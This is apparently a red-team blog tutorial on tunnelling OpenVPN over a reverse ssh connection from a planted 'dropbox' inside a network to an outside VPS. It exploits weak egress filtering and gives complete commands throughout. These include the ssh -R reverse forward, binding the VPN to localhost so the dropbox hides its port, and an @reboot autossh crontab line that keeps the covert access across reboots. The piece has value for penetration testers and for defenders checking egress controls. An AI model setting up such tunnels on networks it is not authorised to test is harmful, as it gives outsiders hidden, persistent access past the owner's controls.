Tunneling OpenVPN over ssh

Sm0key |

Abstract

In some environments which are heavily embracing cloud computing resources such as AWS, Azure, DigitalOcean and other VPS providers security teams are faced with a business need to allow connectivity to an ever changing number of hosts. This very commonly ends up with little to no egress filtering especially on developer and or devops vlans. A malicious agent can abuse this lazy configuration by using standard management protocols to tunnel traffic in plain sight. In this article we will deploy an openvpn server that is tunneling its interface to a VPS server.

Basic Diagram

Alt Text

Systems:

  • DeadBeat (dropbox)
  • BlindMelon (VPS)

High Level Tasks:

  • Configure ssh on BlindMelon to allow GatewayPorts, and disallow passwords
  • Create low permission user for running the ssh tunnel on both hosts
  • Test ssh from DeadBeat to BlindMelon
  • Install OpenVPN and basic configuration
  • Test basic configuration
  • Add some stealth to DeadBeat
  • Make everything survive a reboot

Configure ssh on BlindMelon to allow GatewayPorts, and disallow passwords

We begin by editing /etc/ssh/sshd_config by appending the following lines. 

PasswordAuthentication no
GatewayPorts yes

Then restart the ssh daemon with service ssh restart

Create low permission user for running the ssh tunnel on both hosts

Create the user for hosting our ssh tunnel on both hosts. We will call her Alice.

root@deadbeat:~# adduser alice
Adding user `alice' ...
Adding new group `alice' (1000) ...
Adding new user `alice' (1000) with group `alice' ...
Creating home directory `/home/alice' ...
Copying files from `/etc/skel' ...
New password: 
Retype new password: 
passwd: password updated successfully
Changing the user information for alice
Enter the new value, or press ENTER for the default
    Full Name []: 
    Room Number []: 
    Work Phone []: 
    Home Phone []: 
    Other []: 
Is the information correct? [Y/n] y

root@BlindMelon:~# adduser alice
Adding user `alice' ...
Adding new group `alice' (1000) ...
Adding new user `alice' (1000) with group `alice' ...
Creating home directory `/home/alice' ...
Copying files from `/etc/skel' ...
New password: 
Retype new password: 
passwd: password updated successfully
Changing the user information for alice
Enter the new value, or press ENTER for the default
    Full Name []: 
    Room Number []: 
    Work Phone []: 
    Home Phone []: 
    Other []: 
Is the information correct? [Y/n] y
root@BlindMelon:~#

Change users to be Alice on both machines.

root@deadbeat:~# su alice
alice@deadbeat:/root$ cd
alice@deadbeat:~$ 

root@BlindMelon:~# su alice
alice@BlindMelon:/root$ cd
alice@BlindMelon:~$

Generate ssh keys for alice on DeadBeat

alice@deadbeat:~$ ssh-keygen -t ed25519
Generating public/private ed25519 key pair.
Enter file in which to save the key (/home/alice/.ssh/id_ed25519): 
Created directory '/home/alice/.ssh'.
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /home/alice/.ssh/id_ed25519.
Your public key has been saved in /home/alice/.ssh/id_ed25519.pub.
The key fingerprint is:
SHA256:xonxPQhppIuAFh1p6i/l4NSqbITeV/KS5XHf4xhu7q0 alice@deadbeat
The key's randomart image is:
+--[ED25519 256]--+
| ...o .          |
|. .+ o .         |
|o.o . =          |
|.o . o * +       |
|o o . . S o      |
|.= o . = . .     |
|= B   B o ...    |
|.* + + o  .o+o   |
|+.. . .   +Eoo.  |
+----[SHA256]-----+

Put Alice's public key in her .ssh/authorized_keys file.

alice@BlindMelon:~$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFupcewjiUhCYI7XWpkvRhYjgpcH3saf4vJ7JIZP9Lw1' > .ssh/authorized_keys
alice@BlindMelon:~$

Test ssh from DeadBeat to BlindMelon

alice@deadbeat:~$ ssh alice@172.105.22.102
The authenticity of host '172.105.22.102 (172.105.22.102)' can't be established.
ECDSA key fingerprint is SHA256:T+U8q0oVk4H7MKIgivqFVdQZu/UTsCYK4BynDX87gxI.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.105.22.102' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 19.10 (GNU/Linux 5.3.0-18-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Wed 01 Jan 2020 03:46:47 AM UTC

  System load:  0.03              Processes:           111
  Usage of /:   8.0% of 24.06GB   Users logged in:     1
  Memory usage: 15%               IP address for eth0: 172.105.22.102
  Swap usage:   0%


0 updates can be installed immediately.
0 of these updates are security updates.



The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

alice@BlindMelon:~$

Install OpenVPN and basic configuration

Since we are lazy hackers we will be using someone else's build/manage openvpn scripts. One could spend an entire lifetime understanding every option of OpenVPN and configuring it. These things aren't expected to live forever.

Grab the install script and mark it executable.

curl -O https://raw.githubusercontent.com/angristan/openvpn-install/master/openvpn-install.sh
chmod +x openvpn-install.sh

At this point I am morally abliged to tell you to read the code...

Then run that fucker as root.

root@deadbeat:~# ./openvpn-install.sh 
⚠️ Your version of Ubuntu is not supported.

However, if you're using Ubuntu > 17 or beta, then you can continue.
Keep in mind they are not supported, though.

Continue? [y/n]: y
Welcome to the OpenVPN installer!
The git repository is available at: https://github.com/angristan/openvpn-install

I need to ask you a few questions before starting the setup.
You can leave the default options and just press enter if you are ok with them.

I need to know the IPv4 address of the network interface you want OpenVPN listening to.
Unless your server is behind NAT, it should be your public IPv4 address.
IP address: 172.105.22.102   #### This is the IP of BlindMelon

Checking for IPv6 connectivity...

Your host appears to have IPv6 connectivity.

Do you want to enable IPv6 support (NAT)? [y/n]: n

What port do you want OpenVPN to listen to?
   1) Default: 1194
   2) Custom
   3) Random [49152-65535]
Port choice [1-3]: 1

What protocol do you want OpenVPN to use?
UDP is faster. Unless it is not available, you shouldn't use TCP.
   1) UDP
   2) TCP
Protocol [1-2]: 2

What DNS resolvers do you want to use with the VPN?
   1) Current system resolvers (from /etc/resolv.conf)
   2) Self-hosted DNS Resolver (Unbound)
   3) Cloudflare (Anycast: worldwide)
   4) Quad9 (Anycast: worldwide)
   5) Quad9 uncensored (Anycast: worldwide)
   6) FDN (France)
   7) DNS.WATCH (Germany)
   8) OpenDNS (Anycast: worldwide)
   9) Google (Anycast: worldwide)
   10) Yandex Basic (Russia)
   11) AdGuard DNS (Russia)
   12) Custom
DNS [1-12]: 5

Do you want to use compression? It is not recommended since the VORACLE attack make use of it.
Enable compression? [y/n]: n

Do you want to customize encryption settings?
Unless you know what you're doing, you should stick with the default parameters provided by the script.
Note that whatever you choose, all the choices presented in the script are safe. (Unlike OpenVPN's defaults)
See https://github.com/angristan/openvpn-install#security-and-encryption to learn more.

Customize encryption settings? [y/n]: n

Okay, that was all I needed. We are ready to setup your OpenVPN server now.
You will be able to generate a client at the end of the installation.
Press any key to continue...
Get:1 http://mirrors.linode.com/ubuntu eoan InRelease [255 kB]
Get:2 http://mirrors.linode.com/ubuntu eoan-updates InRelease [97.5 kB]       
...
Tell me a name for the client.
Use one word only, no special characters.
Client name: sm0key

Do you want to protect the configuration file with a password?
(e.g. encrypt the private key with a password)
   1) Add a passwordless client
   2) Use a password for the client
Select an option [1-2]: 1

Note: using Easy-RSA configuration from: ./vars

Using SSL: openssl OpenSSL 1.1.1c  28 May 2019
Generating an EC private key
writing new private key to '/etc/openvpn/easy-rsa/pki/private/sm0key.key.MHyN2C88mD'
-----
Using configuration from /etc/openvpn/easy-rsa/pki/safessl-easyrsa.cnf
Check that the request matches the signature
Signature ok
The Subject's Distinguished Name is as follows
commonName            :ASN.1 12:'sm0key'
Certificate is to be certified until Dec 16 03:57:44 2022 GMT (1080 days)

Write out database with 1 new entries
Data Base Updated

Client sm0key added, the configuration file is available at /root/sm0key.ovpn.
Download the .ovpn file and import it in your OpenVPN client.

Test basic configuration

Build the ssh tunnel from deadbeat to blindmelon.

alice@deadbeat:~$ ssh -R 1194:127.0.0.1:1194 alice@172.105.22.102
Welcome to Ubuntu 19.10 (GNU/Linux 5.3.0-18-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Wed 01 Jan 2020 04:01:02 AM UTC

  System load:  0.08              Processes:           111
  Usage of /:   8.0% of 24.06GB   Users logged in:     1
  Memory usage: 15%               IP address for eth0: 172.105.22.102
  Swap usage:   0%


0 updates can be installed immediately.
0 of these updates are security updates.


Last login: Wed Jan  1 03:46:47 2020 from 192.155.92.211
alice@BlindMelon:~$ netstat -tlunp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:1194            0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::1194                 :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -                   
alice@BlindMelon:~$

And we test that our OpenVPN configuration does indeed change the flow of our traffic.

traceroute 9.9.9.9
traceroute to 9.9.9.9 (9.9.9.9), 64 hops max, 52 byte packets
 1  10.8.0.1 (10.8.0.1)  76.310 ms  75.039 ms  72.590 ms
 2  23.92.28.3 (23.92.28.3)  165.993 ms  82.530 ms  100.700 ms
 3  74.207.239.20 (74.207.239.20)  103.063 ms
    74.207.239.16 (74.207.239.16)  113.087 ms  79.094 ms
 4  74.207.239.8 (74.207.239.8)  77.962 ms
    atlantaix-fe01.woodynet.net (198.32.132.37)  75.748 ms  78.862 ms
 5  dns9.quad9.net (9.9.9.9)  173.848 ms !Z
    atlantaix-fe01.woodynet.net (198.32.132.37)  83.112 ms  73.468 ms
 6  dns9.quad9.net (9.9.9.9)  77.232 ms !Z  74.333 ms !Z  72.807 ms !Z

curl ifconfig.me
192.155.92.211

Woohoo! Everything is working so far!

Now let's make OpenVPN bind to 127.0.0.1 rather than 0.0.0.0.

Add local 127.0.0.1 to /etc/openvpn/server.conf

Then restart openvpn with service openvpn restart and test the ssh tunnel again.

nmap 192.155.92.211 -p 1194 -Pn -n
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-01 04:39 UTC
Nmap scan report for 192.155.92.211
Host is up (0.017s latency).

PORT     STATE  SERVICE
1194/tcp closed openvpn

Nmap done: 1 IP address (1 host up) scanned in 0.06 seconds

nmap 172.105.22.102 -p 1194 -Pn -n
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-01 04:39 UTC
Nmap scan report for 172.105.22.102
Host is up (0.035s latency).

PORT     STATE SERVICE
1194/tcp open  openvpn

Nmap done: 1 IP address (1 host up) scanned in 0.07 seconds

Make everything survive a reboot

First we will need something to manage that ssh connection. For this we will use autossh. The syntax is largely the same for autossh as ssh.

Update Alice's crontab with the following:

@reboot autossh -M 10984 -N -f -o "PubkeyAuthentication=yes" -o "PasswordAuthentication=no" -i /home/alice/.ssh/id_ed25519 -R 1194:127.0.0.1:1194 alice@172.105.22.102 &

Finally we reboot and test everything.